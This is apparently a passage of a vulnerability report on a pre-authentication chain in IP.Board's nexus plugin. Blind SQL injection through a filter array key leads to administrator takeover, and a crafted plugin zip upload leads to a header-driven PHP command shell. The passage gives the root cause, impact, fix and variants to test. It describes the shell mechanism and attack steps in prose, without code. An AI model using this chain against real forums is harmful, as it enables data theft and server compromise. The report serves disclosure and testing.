passthru runs an operating system command and sends its output straight to the response, and the ____ markers make the output easy to find in the page. Each command is base64-encoded, placed into the template, base64-encoded again and sent in the C header. The response is matched with /____(.*)____/s and the captured output is printed at the ics-shell# prompt. Typing exit ends the loop. The loop sends each command and prints the captured output.

Root cause

Two separate mistakes combine here.

In _categoryView(), the array key of the filter parameter is concatenated into a SQL identifier (filter{$filterId}) without validation. The values are passed through intval, which gives a false sense of safety: the key is the injection point. Because the key is used both in the findInSet expression and in the join alias, a crafted key can close the identifier and rewrite the query.

In addPlugin(), an uploaded zip is extracted into a directory served by the web server, and the archive contents are not checked. Any file in the archive, including PHP, becomes reachable and executable.

Impact

An unauthenticated attacker can use the blind SQL injection to read data from the database, including the administrator's password hash and e-mail address. By triggering a password reset and reading the resulting validation key, the attacker can take over the administrator account. With that session, and the toolbar_manage permission, the attacker can upload a crafted plugin zip and execute arbitrary PHP as the web server user.

The chain depends on the nexus plugin being enabled and on the target being at version 4.7.15 or earlier.

Fix

The vendor released a new version of IP.Board with the appropriate fixes, The vendor has released a new version of IP.Board with appropriate fixes: https://invisioncommunity.com/release-notes/4716-r128/

Variants to test

  • Other array-key sinks. Look for parameters whose array keys are interpolated into SQL identifiers, table aliases or column names, especially where the values are cast but the keys are not. A positive result is a change in response size or content when the key contains a backtick and a boolean expression.
  • Other blind channels. Where response bodies are identical, check Content-Length, status codes, redirect targets and timing. A positive result is a measurable, repeatable difference between a true and a false injected condition.
  • Other zip extraction features. Test admin upload features that unpack archives into web-accessible directories. A positive result is a request to the extracted path returning the contents of a file you placed in the archive.
  • Header-driven execution. Check whether uploaded PHP can be reached with custom headers and whether those headers are evaluated. A positive result is command output appearing between known delimiters in the response.
  • Permission boundaries. Enumerate which admin permissions gate upload features such as toolbar_manage, and whether a lower-privileged account can reach them. A positive result is a successful upload from an account that should not have that capability.

Glossary

  • AdminCP: the administration control panel, the private area where site staff manage the forum.
  • Array parameter: a request parameter written as name[key]=value, where the bracketed part is the key.
  • Base64: an encoding that turns any bytes into plain letters and digits so they can travel inside text such as a header.
  • Binary search: a guessing method that halves the remaining range with each question.
  • Blind SQL injection: SQL injection where the answer is not shown on the page and must be inferred from side effects such as response size.
  • Cookie: a small piece of data a site stores in your browser so it can recognise you on later requests.
  • Cookie jar: a file where a tool such as cURL saves and reloads cookies.
  • CSRF token: a random value in a form that proves the form came from the real site, not a forged one.
  • cURL: a library and command-line tool for making web requests, available in PHP as an extension.
  • CVE: a public catalogue number assigned to a specific security flaw.
  • Content-Length: a response header stating how many bytes the body contains.
  • Hash: a one-way fingerprint of data, such as a password, that cannot practically be reversed.
  • Header: an extra line of text attached to a web request or response, carrying metadata.
  • Join: a database instruction that links rows from two tables together.
  • Method: a named block of code inside a program.
  • Multipart form: a form format that can carry files as well as ordinary fields.
  • nexus: the optional e-commerce add-on for IP.Board that turns the forum into a shop.
  • PHP: the programming language IP.Board is written in and that the web server can execute.
  • Pre-auth: before logging in, meaning the attacker has no account or session.
  • Proxy: an intermediary program that forwards web traffic, often used to inspect it.
  • Remote code execution (RCE): running your own code on someone else's server.
  • RLIKE: a database operator that checks whether a string matches a pattern.
  • SQL: the language used to ask questions of a database.
  • SQL injection: slipping extra SQL into a query the site builds, so the database does something unintended.
  • Table alias: a short name given to a table inside a query so it can be referred to easily.
  • toolbar_manage: the admin permission that allows managing editor toolbars and plugins.
  • UNION SELECT: a SQL construct that appends the rows of a second query to the first result.
  • Web server user: the low-privileged operating system account the web server runs as.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.